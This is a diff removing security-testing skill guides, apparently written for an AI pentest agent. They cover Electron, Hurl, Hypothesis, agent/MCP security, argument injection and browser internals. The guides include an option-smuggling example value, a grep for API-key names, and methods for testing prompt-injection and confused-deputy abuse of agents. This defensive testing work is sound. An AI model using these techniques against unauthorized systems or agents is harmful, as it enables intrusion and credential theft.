-- `sandbox: false` removes Chromium process isolation; determine which preload or renderer capabilities become reachable rather than reporting the flag alone.
-- `webSecurity: false`, `allowRunningInsecureContent`, permissive experimental features, and unsafe `<webview>` preferences change separate browser boundaries and must be traced to an exploit path.
-- `nodeIntegrationInSubFrames` and preload injection into frames require frame-by-frame sender and origin analysis.
-
-Record Electron-version defaults. A missing explicit setting can mean different behavior on different major releases.
-
-## Custom Protocols and Deep Links
-
-Treat OS-delivered URLs and second-instance command lines as attacker-controlled inputs:
-
-```text
-OS handler / browser / document
-  -> custom scheme or argv
-  -> URL/argument parsing
-  -> application router
-  -> renderer navigation or native operation
-```
-
-Test authority and parser boundaries for host/path normalization, duplicate parameters, encoding depth, file paths, option injection, and cross-profile/account routing. Confirm which application instance and user session receives the event.
-
-For custom application protocols, record whether the scheme is registered as secure, standard, CORS-enabled, stream-capable, or privileged, and how that affects origin and storage behavior.
-
-## Permissions, Storage, and Secrets
-
-Map session permission handlers for media, notifications, geolocation, clipboard, display capture, USB/HID/serial, filesystem access, and external protocols. Verify decisions use the requesting frame/origin and cannot be inherited from a more trusted window.
-
-Inventory secrets and capability-bearing state reachable from renderer or preload code:
-
-- tokens, cookies, session identifiers, recovery material, and encryption keys
-- IndexedDB, local/session storage, cookies, cache, filesystem databases, and keychain wrappers
-- local service ports, named pipes, Unix sockets, and authentication material
-
-At-rest encryption does not protect data when the renderer can retrieve the key or ask a privileged bridge to decrypt it.
-
-## Updates and Native Extensions
-
-Trace the update pipeline as an executable supply chain:
-
-- feed URL and channel selection
-- TLS identity, redirects, proxy behavior, and metadata parsing
-- artifact signature and publisher verification
-- version/rollback policy and staged update state
-- native modules, helper binaries, installers, and post-update hooks
-
-An attacker-controlled feed is not automatically native code execution if independent artifact signatures are mandatory. Conversely, HTTPS does not compensate for missing artifact authenticity or unsafe rollback behavior.
-
-## Validation
-
-- Record the exact installed build, Electron version, preferences, preload, handler, and current document/frame origin.
-- Demonstrate the complete path from attacker-controlled input or renderer state to the main-process operation.
-- Capture sender-validation and argument-validation outcomes, not only successful IPC transport.
-- Re-test after cross-origin navigation, redirect, frame creation, window creation, and session/profile changes.
-- Separate renderer script execution, bridge access, accepted IPC, privileged data access, filesystem/process control, and native code execution.
-
-## False Positives
-
-- A preload or handler exists but the tested document/frame cannot reach it.
-- A channel is registered but rejects the sender, identity, state, or arguments.
-- `contextIsolation` or sandboxing is disabled without a reachable privileged API.
-- Navigation is blocked on user links but still possible through application code, or vice versa.
-- A remote page has no preload export, Node integration, IPC route, or privileged permission.
-- An update feed is mutable but every artifact and version transition is independently authenticated.
-- A secret-looking value is scoped to synthetic/test data or cannot authorize any downstream action.
-
-## Remediation
-
-- Load local application UI and isolate remote content in an unprivileged `WebContentsView` or external browser.
-- Keep Node integration disabled, context isolation enabled, and renderer sandboxing enabled.
-- Expose narrow preload APIs with fixed operations and strict schemas.
-- Validate every IPC sender frame, application identity, authorization context, and argument in the main process.
-- Parse and allowlist navigation destinations consistently across every navigation path.
-- Restrict permissions per session and requesting origin.
-- Keep credentials and encryption keys outside renderer reach.
-- Authenticate update metadata and artifacts, enforce rollback policy, and pin publishers.
-
-## Summary
-
-Electron security depends on which document and frame can reach which native capability. Map navigation, preload exports, IPC sender checks, permissions, storage, protocols, and updates as one authority graph, then validate the entire path to the privileged operation.

strix/skills/tooling/hurl.md

@@ -1,99 +0,0 @@
----
-name: hurl
-description: Reproducible, reviewable HTTP request chains and response assertions with Hurl for authorized multi-step security validation, vulnerable-versus-fixed regression cases, captured values, and low-rate semantic oracles
----
-
-# Hurl Security Regression Playbook
-
-Use [Hurl](https://hurl.dev/) when a security proof requires an ordered HTTP session whose requests, captured values, and assertions should be code-reviewed and replayed. It is well suited to authentication flows, redirects, cookies, CSRF tokens, upload lifecycles, patch regression, and paired semantic-differential cases.
-
-Hurl sends exactly what the file describes. It does not make state-changing requests safe. Review scope, methods, targets, and captured secrets before every run.
-
-## Install
-
-Prefer an official release binary or package. On macOS:
-
-```bash
-brew install hurl
-hurl --version
-```
-
-Official alternatives include release packages and `cargo install --locked hurl`; see [installation](https://hurl.dev/docs/installation.html). Record the tool version with results.
-
-## Minimal Chain
-
-```hurl
-# lab-regression.hurl
-GET {{base_url}}/session
-HTTP 200
-[Captures]
-csrf: xpath "string(//input[@name='csrf']/@value)"
-[Asserts]
-header "Content-Type" startsWith "text/html"
-
-POST {{base_url}}/action
-Content-Type: application/x-www-form-urlencoded
-[FormParams]
-csrf: {{csrf}}
-operation: noop
-HTTP 204
-```
-
-Hurl keeps cookies across requests in the same file, so an explicit `Cookie` header is unnecessary here.
-
-Run one reviewed case against one authorized target first:
-
-```bash
-hurl --test --jobs 1 --connect-timeout 5s --max-time 15s \
-  --variable base_url=https://lab.example lab-regression.hurl
-```
-
-When credentials are required, pass them with `--secrets-file local-secrets.env`, keep that file outside version control, and avoid verbose/debug output that could expose headers or bodies. Use `--variables-file` only for non-secret environment values.
-
-## Designing a Security Regression
-
-- Assert the security invariant, not only a status code: denied identity, final normalized location, absence/presence of a structural field, unchanged object state, or exact benign result.
-- Capture only values needed by later requests. Do not write tokens, personal data, or response bodies into committed reports.
-- Encode a malformed but non-triggering control alongside the suspected case.
-- Run the same file against vulnerable and fixed builds through `base_url` or other explicit variables.
-- Keep state-changing methods in a clearly labeled lab/staging file; prefer no-op actions, inert markers, and cleanup requests.
-- Check every redirect step when the vulnerability crosses routing, origin, or authentication boundaries. Blindly following redirects can hide the relevant transition.
-- Use unique canaries so cached or pre-existing state cannot create a false positive.
-
-## Chain Structure
-
-Organize longer files around capability transitions:
-
-```text
-fingerprint -> establish session -> reach boundary -> prove primitive -> verify state -> cleanup
-```
-
-At each response, assert the condition required by the next request. A final success assertion cannot explain which earlier assumption failed.
-
-Useful Hurl features include:
-
-- captures from headers, cookies, JSONPath, XPath, and regex queries
-- assertions over status, headers, body, JSON/XML, redirects, and timing
-- request-local options and variables
-- `--test` plus JSON, JUnit, TAP, or HTML reports
-
-Consult the [Hurl manual](https://hurl.dev/docs/manual.html) for version-specific syntax instead of guessing an option.
-
-## Safety Rules
-
-- Use an explicit `base_url`; never derive the destination from untrusted response data without validating scheme, host, and port.
-- Review POST/PUT/PATCH/DELETE requests and server-side side effects before replay.
-- Set bounded timeouts and retries for the target; do not use polling as an unbounded brute-force loop.
-- Do not use Hurl for raw HTTP parser/smuggling cases when its HTTP stack normalizes the bytes being tested; use an appropriate raw harness in an isolated lab.
-- Use `--path-as-is` when literal `/../` or `/./` path segments are the behavior under test; otherwise Hurl's underlying URL handling can normalize them.
-- Redact reports. HTML/JSON/JUnit artifacts may contain request URLs, headers, captured variables, and response snippets.
-- Keep authentication material in local secret storage and use dedicated test accounts with minimum privilege.
-
-## Validation Deliverable
-
-1. reviewed `.hurl` file with variableized target and no embedded secrets
-2. vulnerable, fixed, and negative-control environment descriptions
-3. assertion at every capability transition
-4. deterministic results with tool version and timestamps
-5. side effects, cleanup, and residual-state check
-6. redacted report appropriate for sharing

strix/skills/tooling/hypothesis.md

@@ -1,100 +0,0 @@
----
-name: hypothesis
-description: Property-based local differential testing with Hypothesis for parsers, canonicalizers, serializers, validators, routers, and other pure functions, emphasizing explicit invariants, shrinking, reproducibility, and bounded resource use
----
-
-# Hypothesis Differential Testing
-
-Use [Hypothesis](https://hypothesis.readthedocs.io/) when a security property can be expressed over local code and failures are likely to hide in combinations of encoding, normalization, structure, or parser recovery. It is especially useful for comparing two implementations or checking that validation and consumption preserve the same meaning.
-
-Do not point unrestricted generators at a live service. Hypothesis is safest and most useful against pure local adapters with no network, subprocess, filesystem, or persistent-state side effects.
-
-## Install
-
-Use an isolated virtual environment and install a reviewed pinned version:
-
-```bash
-python -m pip install 'hypothesis==<reviewed-version>'
-```
-
-Official project: [Hypothesis](https://github.com/HypothesisWorks/hypothesis)
-
-## Start From an Invariant
-
-Write the security relationship before writing strategies. Examples:
-
-```text
-allowlist(raw) implies sink(canonicalize(raw)) remains inside the allowed origin/path
-validator(raw) accepts implies consumer(raw) assigns the same media type/structure
-parse_A(raw) and parse_B(raw) agree on message boundaries and authoritative fields
-serialize(parse(raw)) cannot introduce a delimiter, wildcard, traversal, or new field
-```
-
-A test that only checks “does not crash” can find robustness bugs but does not establish a security differential.
-
-## Minimal Differential Harness
-
-```python
-from hypothesis import given, settings, strategies as st
-
-
-def outcome(parser, raw):
-    try:
-        return ("accept", parser(raw))
-    except ExpectedParseError as exc:
-        return ("reject", type(exc).__name__)
-
-
-@settings(max_examples=250, deadline=500)
-@given(st.text(max_size=128))
-def test_security_boundary(raw: str) -> None:
-    checked = outcome(security_parser, raw)
-    consumed = outcome(sink_parser, raw)
-    assert equivalent_security_meaning(checked, consumed)
-```
-
-- Bound string/list/binary sizes, recursion, examples, and deadline.
-- Build structured inputs from relevant tokens rather than generating unrestricted noise.
-- Normalize expected accept/reject/error outcomes explicitly so ordinary parser rejection is not mistaken for a property-test failure.
-- Use `st.one_of`, `st.sampled_from`, `st.lists`, `st.binary`, `st.text`, and composite strategies to represent the actual grammar.
-- Add explicit edge seeds with `@example` for known delimiters and regressions.
-- Let Hypothesis shrink failures; the minimal counterexample is often the clearest explanation of the parser disagreement.
-
-## High-Value Strategy Axes
-
-- percent and double encoding, malformed escapes, mixed separators
-- Unicode normalization, replacement characters, surrogates, case folding, IDNA
-- dot segments, slash/backslash, absolute/relative paths, sibling-prefix collisions
-- duplicate, empty, first/last, comma-joined, or differently cased fields
-- declared length versus actual bytes, truncation, padding, and terminators
-- nested objects, parser depth, ordering, unknown keys, and error recovery
-- serialize/deserialize round trips and version-to-version behavior
-
-Generate only axes supported by the target's transformation graph. Cartesian payload spraying obscures causality.
-
-## Reproducibility
-
-- Keep the minimized failing example as a normal regression test.
-- Preserve code revision, dependency lock, locale, platform, and parser/library versions.
-- Keep Hypothesis's example database in a task-specific artifact directory when replay across runs matters.
-- For CI, rely on stored explicit regressions for critical cases; randomized discovery supplements them.
-- Classify nondeterminism before suppressing health checks. Timing, global state, environment, and shared caches can create flaky false differentials.
-
-## Safety and Resource Controls
-
-- Adapt target functions so tests cannot reach the network or execute commands.
-- Use temporary directories and non-secret corpora for parsers that require files.
-- Put native parsers in a disposable, networkless process/container with CPU, memory, file-size, and process ceilings.
-- Do not disable deadlines globally to hide hangs; isolate and bound intentionally slow examples.
-- A crash, timeout, or excessive allocation is a robustness result. Prove a security boundary or exploitability separately.
-- Never reuse captured credentials, customer content, or production requests as generative corpora without sanitization.
-
-## Validation Deliverable
-
-1. stated invariant and why it protects a security boundary
-2. adapters and exact component/version pair compared
-3. bounded strategies and resource settings
-4. minimized counterexample and both interpretations
-5. stable explicit regression test
-6. impact trace from disagreement to privileged consumer
-7. fixed-version or corrected-invariant result

strix/skills/vulnerabilities/agentic_system_security.md

@@ -1,207 +0,0 @@
----
-name: agentic-system-security
-description: Security testing for authorized AI agents and MCP-style tool ecosystems, covering effective authority, tool/resource/prompt inventory, confused-deputy behavior, side-effect authorization, cross-tenant isolation, executable component supply chain, shadow integrations, and repeatable safety regression
----
-
-# Agentic System Security
-
-Use this skill when an AI system can select tools, retrieve resources, invoke remote/local services, maintain memory, delegate to other agents, or install skills/plugins. Pair it with `llm_prompt_injection` for instruction attacks and classic vulnerability skills for the downstream HTTP, cloud, filesystem, identity, or code-execution sink.
-
-Prompt text is not an authorization boundary. Treat the agent runtime as a confused deputy whose effective authority is bounded by the union of its credentials, tools, resources, network reach, filesystem access, delegated agents, and approval policy, then reduce that upper bound to the actually reachable subset by tracing token audience, scopes, routing, target authorization, environment, and approval flow.
-
-## Effective-Authority Map
-
-Draw the complete path:
-
-```text
-user / external content
-  -> model context and memory
-  -> planner / router / policy
-  -> tool or delegated agent
-  -> credential and target system
-  -> side effect / returned data
-```
-
-Inventory, for each node:
-
-- trust source and tenant/user ownership
-- immutable component identity, package/server name, version, and transport
-- tools, resources, prompts, model endpoints, plugins, skills, and MCP servers
-- credential identity, issuer, audience/resource, subject, tenant, scopes/roles, expiry, downstream token exchange, environment, and where it is injected
-- readable data and write/execute capabilities
-- network/listener exposure and test-versus-production target
-- argument validation, authorization point, approval point, schema/argument digest, delegated principal propagation, and audit log
-- data returned to the model and whether it can contain new instructions
-
-Test from the lowest-privileged realistic user and device. The key comparison is the user's authority versus the agent/tool credential's authority.
-
-## Core Test Areas
-
-### Shadow Agent and AI Discovery
-
-Do not assume the approved application inventory contains every agent, model endpoint, browser extension, local MCP server, or AI API integration. Correlate multiple independent signals:
-
-- DNS/proxy/egress logs for first-seen model, agent, vector database, plugin, and AI SaaS domains
-- OAuth/SSO grants, enterprise-app consent, service principals, API tokens, and unusual delegated scopes
-- endpoint processes, browser extensions/native messaging, listening loopback ports, and MCP client/server configuration
-- repository, CI/CD, secrets-manager, and container/image references to model providers, tool servers, and AI credentials
-- cloud-hosted model endpoints, notebooks, functions, gateways, and procurement/expense/SaaS inventory
-
-Baseline local discovery from the host before interpreting network or SSO signals:
-
-```bash
-# macOS
-lsof -nP -iTCP -sTCP:LISTEN
-ps -axo pid,ppid,user,command
-
-# Linux
-ss -lntp
-ps -eo pid,ppid,user,args
-
-# Windows PowerShell
-Get-NetTCPConnection -State Listen | Select-Object LocalAddress,LocalPort,OwningProcess
-Get-Process | Select-Object Id,ProcessName,Path
-
-# Cross-platform config and credential leads
-rg -l 'mcpServers|modelContextProtocol|OPENAI_API_KEY|ANTHROPIC_API_KEY|AZURE_OPENAI_ENDPOINT' <reviewed-roots>
-```
-
-Correlate each listener or config hit to PID/container, parent process, binary hash/version, launch command, config file, destination, and credential reference before calling it an active agent component. A loopback listener is a lead, not proof of reachable authority.
-
-Classify each discovered integration by data read, data write, external communication, execution, identity/admin, and production reach. Human-validate attribution before treating a domain or key name as active AI use. Inspect unauthenticated local MCP/agent listeners separately; network inventory tools often miss loopback-only services.
-
-### Tool Discovery and Argument Boundaries
-
-- Enumerate advertised and conditionally available tools, resources, prompts, schemas, annotations, and delegated agents.
-- Compare what the UI exposes with what the protocol/runtime accepts directly.
-- Test missing, extra, duplicate, nested, oversized, alternate-type, and cross-tenant identifiers in tool arguments.
-- Validate scheme/host/path, filesystem paths, cloud resource IDs, recipient identities, SQL/query fields, and command arguments at the tool boundary.
-- Treat tool descriptions, names, examples, resource metadata, and returned content as attacker-influenceable unless provenance is enforced.
-- Canonicalize tool identity as `server identity/version + endpoint/transport + tool name + schema digest`; do not collapse two identically named tools from different servers into one trust decision.
-- Treat protocol hints such as `readOnlyHint`, `destructiveHint`, `idempotentHint`, and `openWorldHint` as untrusted metadata, not authorization.
-- Verify that unknown tools or schema-invalid calls fail closed without falling back to a broader handler.
-
-### Confused Deputy and Consequential Actions
-
-- Ask whether untrusted user/document/tool text can choose the tool, target, identity, or action.
-- Test read-to-write escalation: a summarizer should not send, publish, delete, purchase, deploy, or modify because retrieved text requests it.
-- Test whether approval binds the exact server identity/version, tool name, schema digest, normalized arguments, credential, target, side effect, and expiry. Revalidate those fields immediately before execution; a generic “continue?” is weak if arguments can change after approval.
-- Exercise replay, retry, parallel calls, partial failure, cancellation, and delegated execution for duplicate or bypassed actions.
-- Prove impact at the actual target and audit log. Model narration or a fabricated tool result is not evidence.
-- Use dry-run/no-op/read-only operations first; require explicit human approval for consequential operations.
-
-### Identity, Tenant, and Environment Isolation
-
-- Vary user, workspace, tenant, session, conversation, and delegated-agent identity independently.
-- Test whether one tenant can reference another tenant's resources, tool sessions, caches, vector entries, files, or credentials.
-- Check whether development/test tools or credentials can reach production, and whether local tools inherit broad workstation authority.
-- Verify credential scoping at the target service, not only in the agent's application logic.
-- Confirm memory and cached tool results are partitioned and revoked when identity or role changes.
-
-### MCP and Local Tool Servers
-
-- Inventory stdio, streamable HTTP, SSE/legacy, and custom transports; record bind address, origin/auth controls, process command, environment, and lifecycle.
-- Look for unauthenticated loopback services reachable from browsers, containers, local users, SSRF, port forwarding, or shared hosts.
-- Compare `tools/list`, `resources/list`, and `prompts/list` results across identities, but do not assume listing means calling is authorized.
-- For each tool, validate the same authorization and argument checks through every supported transport.
-- Treat server-launched subprocess configuration, environment variables, and working directories as sensitive executable configuration.
-- For HTTP/SSE transports, validate OAuth issuer, signature, expiry, audience/resource, tenant, and scope claims at the server boundary. Reject tokens minted for the wrong audience, and do not treat a session ID as identity.
-- For downstream APIs, do not pass through the same bearer token unless the target explicitly authorizes that audience and principal. Separate upstream MCP authentication from downstream target authorization.
-- For browser or loopback OAuth, review redirect URI, state/PKCE handling, localhost binding, and consent proxying. Treat metadata fetches and tool discovery on remote servers as SSRF-relevant surfaces.
-- For stdio servers, the launch command and environment are already code execution. Discovery must not execute an unreviewed server binary or mutable package tag.
-
-### Executable Component Supply Chain
-
-Every skill, plugin, MCP server, model adapter, package, and update channel is an executable or behavior-shaping dependency. Record:
-
-- canonical source, publisher, package namespace, pinned version and integrity/provenance
-- install/update mechanism, manifest/lockfile/config source, mutable tags, automatic updates, and rollback path
-- declared and effective permissions, credentials, filesystem/network access
-- transitive dependencies and lifecycle scripts
-- review/approval ownership and last verification date
-
-In agent and MCP configs, inspect `command: npx` with `-y` and a bare package or
-binary name. The process can fetch code without an interactive prompt and then
-run it with the agent's authority. Load `npx_confusion` to determine whether the
-name resolves locally, becomes a public package spec, and belongs to the
-intended publisher.
-
-Test missing/private-name fallback, typosquatting exposure, mutable remote instructions, compromised-update blast radius, and whether an “instruction-only” component can invoke tools or modify executable files. Resolve `latest`, floating git refs, and mutable image tags to immutable versions or digests before launch. Do not claim or publish contestable package names as proof, and do not execute unknown packages just to discover what they are.
-
-Load `infrastructure_lifecycle` when a skill, plugin, MCP server, model adapter, tool-schema origin, package namespace, or update endpoint is retired, mutable, or externally reassignable. Passive receipt of an agent heartbeat or catalog request does not authorize returning tool definitions, prompts, commands, or executable content.
-
-### Output, Telemetry, and Failure Modes
-
-- Validate model/tool output before it reaches HTML, shell, SQL, URLs, file paths, templates, or a second agent.
-- Ensure logs record initiating user, tool/server identity, sanitized arguments, approval, target, result, and correlation ID without storing secrets.
-- Test timeout, tool error, truncated output, malformed result, model retry, and policy-service failure. Failures should not silently switch to a more privileged tool or credential.
-- Verify kill switches, credential revocation, and disabling a component actually terminate active sessions and queued work.
-
-## Safe Testing Workflow
-
-1. **Map** every capability and trust boundary before injecting prompts.
-2. **Classify** tools as read, write, execute, communicate, identity/admin, or external-cost.
-3. **Establish controls** with dedicated test tenants, synthetic data, read-only credentials, budgets, and target allowlists.
-4. **Probe one boundary** at a time: selection, arguments, authorization, approval, execution, result handling.
-5. **Validate the side effect** in the target system and audit trail; compare denied and allowed identities.
-6. **Chain confirmed primitives** using the effective-authority and capability map from this skill.
-7. **Clean up and revoke** created data, sessions, tokens, and local servers.
-8. **Turn each confirmed case into a regression** across relevant models, prompts, tools, roles, and environments.
-
-## MCP Inspector (Conditional)
-
-Use the official [MCP Inspector](https://github.com/modelcontextprotocol/inspector) only against a reviewed local/test server:
-
-```bash
-npx @modelcontextprotocol/inspector@<reviewed-version> --cli \
-  --config reviewed-mcp.json --server test-server \
-  --method tools/list --format json
-```
-
-- Current upstream requirements should be checked before pinning; as of August 12, 2026, MCP Inspector 2.1.0 requires Node.js `>=22.19.0`.
-- Prefer CLI/TUI and loopback binding over exposing the web UI.
-- Preserve the generated API token; never disable authentication or bind the process-spawning backend to an external interface.
-- Do not publish ports 6274/6277 or pass through the Docker socket/host devices.
-- `tools/list` is protocol-read-only, but launching/initializing an arbitrary stdio server executes it and list handlers can still have process-side effects. Review the server command/config first. Calling a tool can perform real external actions.
-- Treat the inspected server command/config as executable; `npx` also downloads code, so pin a reviewed package version for repeatable or sensitive work.
-
-## Regression With Promptfoo (Conditional)
-
-[Promptfoo](https://github.com/promptfoo/promptfoo) can encode a bounded model/tool safety matrix after manual validation:
-
-```bash
-npx promptfoo@<reviewed-version> eval
-```
-
-- Current upstream engine constraints should be checked before pinning; as of August 12, 2026, Promptfoo documents Node.js `^20.20.0` or `>=22.22.0`.
-- Use synthetic prompts/data and a dedicated test provider/project.
-- Provider calls transmit data externally and can incur cost even when evaluation orchestration is local. Set request/concurrency and spending ceilings.
-- Pin model, provider, prompt, tool schema, retrieval corpus revision, and evaluator versions.
-- Include allowed and denied controls across roles/tenants; use multiple runs for nondeterministic outcomes.
-- Automated red-team labels are leads, not findings. Confirm the real tool call, data access, or side effect manually.
-- Store redacted results; evaluation logs can contain system prompts, secrets, retrieved data, and tool arguments.
-
-## Validation
-
-A report must include:
-
-1. initiating identity, tenant, model/runtime, and exact component versions
-2. effective-authority map and relevant tool/resource schema
-3. untrusted input source and decision boundary crossed
-4. exact target-side operation or data access, with redacted audit evidence
-5. denied identity/input and allowed control results across repeat runs
-6. credential, feature, approval, environment, and user-interaction prerequisites
-7. cleanup/revocation and a bounded regression case
-
-## False Positives
-
-- The model claims a tool ran but the target and audit log show no action.
-- A listed tool cannot be invoked by the tested identity or validates arguments safely.
-- A safety refusal changes wording but effective capability remains denied.
-- Cross-session output is synthetic, cached public data, or hallucinated rather than another user's data.
-- A scanner flags an instruction string without showing that it reaches a privileged decision or sink.
-- A component has broad declared permissions but the runtime credential/network policy prevents the claimed access.
-
-## Summary
-
-Agent security is capability security. Map the real authority carried through models, tools, credentials, plugins, and delegated agents; validate authorization and approval at the target-side effect; treat every installed component as executable supply chain; and preserve each confirmed boundary failure as a bounded regression.

strix/skills/vulnerabilities/argument_injection.md

@@ -1,157 +0,0 @@
----
-name: argument-injection
-description: Test shell-free command argument injection across argv builders and CLI parsers, including option smuggling, response/config-file parsing, argument-boundary reparsing, and Windows Unicode-to-ANSI Best-Fit transformations
----
-
-# Argument Injection
-
-Use this skill when attacker-influenced data reaches a trusted command-line program, even when no shell is involved. The security question is whether the input changes the program's **option set, operands, configuration, subcommand, or downstream parser state**.
-
-Load `rce` when a shell parses the command string. Load `semantic_confusion` when validation and the final CLI/filesystem/configuration consumer see different representations.
-
-## Model Every Parser Boundary
-
-Build the actual transformation chain:
-
-```text
-request value
-  -> application validation
-  -> argv builder or command-line string serializer
-  -> OS/process creation API
-  -> runtime argv construction
-  -> target option parser
-  -> response/config/auth file parser, URL parser, or subcommand
-```
-
-Do not treat all process APIs alike:
-
-- POSIX `execve(path, argv, envp)` and list-form subprocess APIs preserve array-element boundaries. Whitespace inside one element does not create another argument.
-- Shell/string forms introduce shell tokenization before the target program sees `argv`.
-- Windows process creation commonly serializes an argument array into one command-line string and lets the child runtime parse it back. Quoting rules differ across CRTs and applications.
-- Some programs deliberately reparse an argument as a response file, configuration file, URL, expression, template, or nested command language.
-
-Record the exact API, platform, runtime, target binary/version, option parser, and final `argv` observed by the child.
-
-## Primitive 1: Option and Subcommand Injection
-
-An attacker-controlled value placed where an operand is expected can be interpreted as an option when it begins with an option prefix:
-
-```text
-intended: ["tool", USER_VALUE]
-supplied: USER_VALUE = "--output=/controlled/path"
-actual:   tool parses an output option instead of an operand
-```
-
-Inventory security-relevant option classes rather than memorizing one payload:
-
-- output, upload, extraction, log, cache, plugin, template, or configuration paths
-- alternate URL schemes, proxies, certificates, credentials, and authentication files
-- hooks, helpers, filters, interpreters, external programs, or dynamic libraries
-- config overrides, environment definitions, working directories, and search paths
-- subcommands that expose administrative, import/export, restore, diagnostic, or execution features
-
-Check whether the target supports `--` as an end-of-options marker and whether the application places it before the untrusted operand. Do not assume every CLI honors `--`, or that it applies after a subcommand switches to a second parser.
-
-## Primitive 2: Argument-Boundary Breakout
-
-Require a component that reparses or reconstructs arguments. Candidate boundaries include:
-
-- shell or command-string construction
-- Windows quoting/escaping mismatches between parent and child runtimes
-- newline-, NUL-, delimiter-, or quote-sensitive custom launchers
-- wrappers that join an array and later split it
-- CGI/interpreter mappings that turn request data into command-line options
-
-Distinguish these outcomes:
-
-```text
-["tool", "user --flag"]       # one argv element; no split by execve
-["tool", "user", "--flag"]  # extra argv element reached the target
-["tool", "@args.txt"]        # one element, then reparsed by the target
-```
-
-Logs often render arrays as strings and can falsely suggest splitting. Capture the child's real arguments through source instrumentation, a wrapper process, debugger, audit trace, `/proc/<pid>/cmdline`, or the platform equivalent.
-
-## Primitive 3: Response, Config, and Authentication Files
-
-Many trusted programs consume a second language after argv parsing:
-
-- `@response-file` syntax used by compilers, linkers, JVM tooling, and custom launchers
-- `--config`, `-K`, credentials/auth files, include files, and rc/profile paths
-- newline-delimited key/value files generated from attacker-controlled fields
-- file contents where control characters create a new directive, identity, host, or option
-
-Trace both attacker influence over the **file path** and influence over the **file content**. Correct shell quoting does not protect a file that is later tokenized by a different grammar. Record duplicate-key behavior, newline rules, comments, escaping, include directives, and first/last-value precedence.
-
-## Windows Unicode-to-ANSI Best-Fit
-
-On Windows, narrow-character APIs and CRT startup paths can convert Unicode command-line, environment, or filesystem data into an ANSI code page. Best-Fit mappings may introduce ASCII characters after earlier validation.
-
-Relevant boundaries include:
-
-- `GetCommandLineA` or a narrow `main(int, char **)` startup path
-- `GetEnvironmentVariableA`, `GetCurrentDirectoryA`, and narrow filesystem APIs
-- framework or native-extension transitions from UTF-16 strings to an ANSI code page
-
-`CommandLineToArgvW` is the documented Windows command-line parser; there is no documented `CommandLineToArgvA`. Determine which CRT or application-specific parser constructs narrow `argv`.
-
-Treat mappings as code-page-specific hypotheses, not universal payloads. Candidate transformations include soft hyphen to `-`, fullwidth/compatibility slash characters to `/` or `\`, and compatibility quotes or letters to ASCII equivalents. Capture:
-
-- submitted Unicode code points and encoded bytes
-- active system/process code page
-- wide string before conversion
-- narrow bytes and final `argv` or filesystem path after conversion
-
-Using wide-character APIs removes this particular conversion boundary but does not fix ordinary option injection.
-
-## Reconnaissance
-
-In source, locate process creation and work forward into the consumer:
-
-```text
-exec*  posix_spawn  subprocess  ProcessBuilder  Runtime.exec
-CreateProcess  ShellExecute  child_process  os/exec  Command
-```
-
-For each attacker-controlled argument, answer:
-
-1. Is it a distinct argv element or part of a command string?
-2. Can it begin with the target's option prefix?
-3. Is an end-of-options marker supported and correctly positioned?
-4. Does a wrapper, CRT, shell, or target reparse it?
-5. Can it select a response/config/auth file or inject directives into one?
-6. Which target option or subcommand turns that control into read, write, request, identity, or execution capability?
-
-For black-box testing, compare an ordinary operand with option-prefixed, delimiter-bearing, control-character, and platform-specific Unicode variants. Match tests to options that actually exist in the deployed binary/version.
-
-## Validation
-
-- Show the final `argv` or secondary parser input, not only the application log line.
-- Pair the candidate with a control where the same bytes remain a literal operand.
-- Demonstrate the exact option, directive, subcommand, path, or handler selected.
-- Reproduce against the deployed binary, runtime, code page, and configuration.
-- Separate option control, additional-argument control, arbitrary directive control, and command execution; they are different primitives.
-
-## False Positives
-
-- The input is one argv element and the target treats it only as a positional operand.
-- `--` is supported, placed before the value, and not bypassed by a subparser.
-- A strict allowlist prevents option prefixes and all later transformations preserve it.
-- A delimiter appears only in logging or display formatting.
-- A response/config path is controllable but its contents or directives are not.
-- A Unicode character is accepted but no narrow/Best-Fit conversion occurs.
-- The injected option exists on another release or platform but not the deployed target.
-
-## Remediation
-
-- Use argument-array process APIs and avoid shell/string construction.
-- Insert `--` before untrusted operands where every relevant parser supports it.
-- Validate operands against the target CLI's grammar, not a generic shell blacklist.
-- Fix security-sensitive option names and configuration paths in trusted code.
-- Generate configuration/auth files with a format-aware serializer that rejects control characters and ambiguous duplicates.
-- On Windows, keep data in wide-character APIs and verify child-runtime parsing rules.
-- Enforce authorization again at the privileged operation selected by the CLI.
-
-## Summary
-
-Argument injection is control of a trusted program's behavior through its argv or a parser reached from argv. Preserve parser boundaries in the model: list-form execution, command-string tokenization, Windows runtime conversion, option parsing, and response/config-file parsing are distinct stages with distinct exploit conditions.

strix/skills/vulnerabilities/browser_security.md

@@ -1,192 +0,0 @@
----
-name: browser-security
-description: Browser-internals security testing for browsing-context relationships, postMessage, client-side path traversal, XS-Leaks, service workers, Web Workers, navigation behavior, CSP interactions, caches, and cross-origin state machines
----
-
-# Browser Security
-
-Use this skill when exploitability depends on browser behavior beyond a basic HTML injection. Model origins, browsing contexts, navigation history, workers, caches, router decoding, request metadata, and user activation as explicit state.
-
-Pair this skill with `xss`, `oauth`, `open_redirect`, `csrf`, or `semantic_confusion` when one of those is the primary vulnerability class. For an Electron renderer with a preload or IPC bridge, load `electron_desktop_apps` to analyze whether navigation and origin transitions reach native capability.
-
-## Safety Boundary
-
-- Use a controlled browser profile, synthetic account/data, explicit target allowlist, and a fresh assessment-specific proxy/CA when interception is required.
-- Redact tokens, cookies, message contents, storage values, and personal data from console logs, captures, recordings, and reports.
-- Treat oversized URLs/headers, cookie inflation, redirect loops, cache exhaustion, and high-rate timing trials as resource/denial-of-service tests; run them only with strict ceilings in a restartable lab.
-- Do not attempt to set or spoof browser-generated `event.origin`. Vary the sender URL and record the serialized origin supplied by the browser.
-- Restore monkey-patched browser APIs and unregister test workers/caches after validation.
-
-## Browser State Model
-
-For each relevant page or worker, record:
-
-- origin and site, including transitions after navigation
-- top-level window, opener, parent, child frames, named contexts, and retained references
-- sandbox flags, CSP `frame-ancestors`, COOP, COEP, CORP, and X-Frame-Options
-- service-worker controller and scope
-- storage access: cookies, local/session storage, IndexedDB, Cache API
-- navigation/history entries and redirect type: HTTP, JavaScript, form, meta refresh
-- user-activation and interaction requirements
-- browser family/version and enabled experimental features
-
-Draw the context graph. Security checks on `event.origin`, `event.source`, or a popup reference are meaningful only when the lifetime and ownership of that context are understood.
-
-## High-Value Surfaces
-
-### postMessage and Window Relationships
-
-- Enumerate listeners and senders; record message schema, origin check, source check, and reachable sinks/actions.
-- Validate origins after URL parsing and canonicalization, not with raw-string regexes.
-- Test numeric/alternate IP forms, userinfo, path masquerading as a host suffix, and redirects.
